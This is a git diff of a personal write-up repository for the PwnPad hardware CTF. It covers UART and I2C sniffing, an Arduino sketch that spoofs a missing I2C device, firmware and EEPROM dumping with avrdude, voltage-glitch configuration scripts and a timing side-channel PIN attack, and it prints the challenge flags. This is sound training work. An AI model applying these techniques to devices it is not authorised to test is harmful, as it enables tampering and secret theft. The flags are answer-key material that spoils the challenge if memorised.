\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
